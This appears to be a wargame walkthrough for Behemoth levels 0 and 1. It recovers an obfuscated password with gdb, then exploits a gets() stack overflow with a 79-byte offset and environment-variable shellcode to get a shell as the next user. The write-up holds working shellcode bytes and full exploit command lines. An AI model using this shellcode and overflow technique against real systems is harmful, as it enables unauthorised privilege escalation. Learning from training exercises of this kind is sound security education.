Level 0
Unlike narnia, in behemoth the source code is not available to us - so let’s decompile.
behemoth0@behemoth:/behemoth$ gdb -q behemoth0
Reading symbols from behemoth0...(no debugging symbols found)...done.
) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080485a2 <+0>: push ebp
0x080485a3 <+1>: mov ebp,esp
0x080485a5 <+3>: and esp,0xfffffff0
0x080485a8 <+6>: sub esp,0x70
0x080485ab <+9>: mov eax,gs:0x14
0x080485b1 <+15>: mov DWORD PTR [esp+0x6c],eax
0x080485b5 <+19>: xor eax,eax
0x080485b7 <+21>: mov DWORD PTR [esp+0x1f],0x475e4b4f
0x080485bf <+29>: mov DWORD PTR [esp+0x23],0x45425953
0x080485c7 <+37>: mov DWORD PTR [esp+0x27],0x595e58
0x080485cf <+45>: mov DWORD PTR [esp+0x10],0x8048720
0x080485d7 <+53>: mov DWORD PTR [esp+0x14],0x8048738
0x080485df <+61>: mov DWORD PTR [esp+0x18],0x804874d
0x080485e7 <+69>: mov DWORD PTR [esp],0x8048761
0x080485ee <+76>: call 0x8048400 <printf@plt>
0x080485f3 <+81>: lea eax,[esp+0x2b]
0x080485f7 <+85>: mov DWORD PTR [esp+0x4],eax
0x080485fb <+89>: mov DWORD PTR [esp],0x804876c
0x08048602 <+96>: call 0x8048470 <__isoc99_scanf@plt>
0x08048607 <+101>: lea eax,[esp+0x1f]
0x0804860b <+105>: mov DWORD PTR [esp],eax
0x0804860e <+108>: call 0x8048440 <strlen@plt>
0x08048613 <+113>: mov DWORD PTR [esp+0x4],eax
0x08048617 <+117>: lea eax,[esp+0x1f]
0x0804861b <+121>: mov DWORD PTR [esp],eax
0x0804861e <+124>: call 0x804857d <memfrob>
0x08048623 <+129>: lea eax,[esp+0x1f]
0x08048627 <+133>: mov DWORD PTR [esp+0x4],eax
0x0804862b <+137>: lea eax,[esp+0x2b]
0x0804862f <+141>: mov DWORD PTR [esp],eax
0x08048632 <+144>: call 0x80483f0 <strcmp@plt>
0x08048637 <+149>: test eax,eax
0x08048639 <+151>: jne 0x8048665 <main+195>
0x0804863b <+153>: mov DWORD PTR [esp],0x8048771
0x08048642 <+160>: call 0x8048420 <puts@plt>
0x08048647 <+165>: mov DWORD PTR [esp+0x8],0x0
0x0804864f <+173>: mov DWORD PTR [esp+0x4],0x8048782
0x08048657 <+181>: mov DWORD PTR [esp],0x8048785
0x0804865e <+188>: call 0x8048460 <execl@plt>
0x08048663 <+193>: jmp 0x8048671 <main+207>
0x08048665 <+195>: mov DWORD PTR [esp],0x804878d
0x0804866c <+202>: call 0x8048420 <puts@plt>
0x08048671 <+207>: mov eax,0x0
0x08048676 <+212>: mov edx,DWORD PTR [esp+0x6c]
0x0804867a <+216>: xor edx,DWORD PTR gs:0x14
0x08048681 <+223>: je 0x8048688 <main+230>
0x08048683 <+225>: call 0x8048410 <__stack_chk_fail@plt>
0x08048688 <+230>: leave
0x08048689 <+231>: ret
End of assembler dump.
The strcmp
looks interesting. If it doesn’t match we jump to 0x8048665
, which prints the string located at 0x804878d
:
(gdb) x/s 0x804878d
0x804878d: "Access denied.."
If it does match however:
(gdb) x/s 0x8048771
0x8048771: "Access granted.."
Let’s find out what strcmp
is looking at:
(gdb) x/10wx $esp
0xffffd6a0: 0xffffd6cb 0xffffd6bf 0xffffd6c0 0x080482d2
0xffffd6b0: 0x08048720 0x08048738 0x0804874d 0x65eb8fe6
0xffffd6c0: 0x796d7461 0x726f6873
(gdb) x/s 0xffffd6cb
0xffffd6cb: "foo"
(gdb) x/s 0xffffd6bf
0xffffd6bf: "eatmyshorts"
If you run strings
on the binary, you’ll note this string wasn’t stored anywhere - and for kicks it was obfuscated with memfrob
. But sure enough:
behemoth0@behemoth:~$ /behemoth/behemoth0
Password: eatmyshorts
Access granted..
$ whoami
behemoth1
$ cat /etc/behemoth_pass/behemoth1
*** password ***
Level 1
Again, we have no source - so we’ll have to use gdb
.
behemoth1@behemoth:~$ gdb -q /behemoth/behemoth1
Reading symbols from /behemoth/behemoth1...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x0804845d <+0>: push ebp
0x0804845e <+1>: mov ebp,esp
0x08048460 <+3>: and esp,0xfffffff0
0x08048463 <+6>: sub esp,0x60
0x08048466 <+9>: mov DWORD PTR [esp],0x8048530
0x0804846d <+16>: call 0x8048310 <printf@plt>
0x08048472 <+21>: lea eax,[esp+0x1d]
0x08048476 <+25>: mov DWORD PTR [esp],eax
0x08048479 <+28>: call 0x8048320 <gets@plt>
0x0804847e <+33>: mov DWORD PTR [esp],0x804853c
0x08048485 <+40>: call 0x8048330 <puts@plt>
0x0804848a <+45>: mov eax,0x0
0x0804848f <+50>: leave
0x08048490 <+51>: ret
End of assembler dump.
(gdb) x/s 0x804853c
0x804853c: "Authentication failure.\nSorry."
The disassembly is a little disappointing. It looks like no matter what we input to gets
, we display the ‘Authentication failure’ message. But gets
is in the same family of ‘insecure’ functions as scanf
. We can probably overflow:
behemoth1@behemoth:~$ python -c 'print "D"*200' | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault (core dumped)
Right. Now let’s see what the offset is - pwntools
to the rescue!
behemoth1@behemoth:~$ python -c 'import pwnlib;print pwnlib.util.cyclic.cyclic(200)' | strace /behemoth/behemoth1 2>&1 | tail -n2
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x61617561} ---
+++ killed by SIGSEGV (core dumped) +++
behemoth1@behemoth:~$ python -c 'import pwnlib;print pwnlib.util.cyclic.cyclic_find(0x61617561)'
79
So we’ll need to pad 79 bytes before we can overwrite the return address. We’ll overwrite that with the address of an environment variable containing our shellcode. Let’s start by finding out where this variable, EGG
will be located. We use a quick C
program to figure that out.
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char* argv[])
{
printf("%s is at %p\n", argv[1], getenv(argv[1]));
}
Compile, and run:
behemoth1@behemoth:~$ env -i EGG=$(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" ') /home/behemoth1/abc EGG
EGG is at 0xffffdfc0
This works because we are unsetting the environment first and the name of our program (/home/behemoth1/abc
) matches the length of /behemoth/behemoth1
.
behemoth1@behemoth:~$ python -c 'print "D"*79 + "\xc0\xdf\xff\xff"' | env -i EGG=$(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" ') /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Mmm. No segfault, but no shell. This is probably because the pipe closed. Let’s try to keep it open:
behemoth1@behemoth:~$ (python -c 'print "D"*79 + "\xc0\xdf\xff\xff"';cat) | env -i EGG=$(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" ') /behemoth/behemoth1
Password: Authentication failure.
Sorry.
whoami
behemoth2
cat /etc/behemoth_pass/behemoth2
*** password ***
Yay!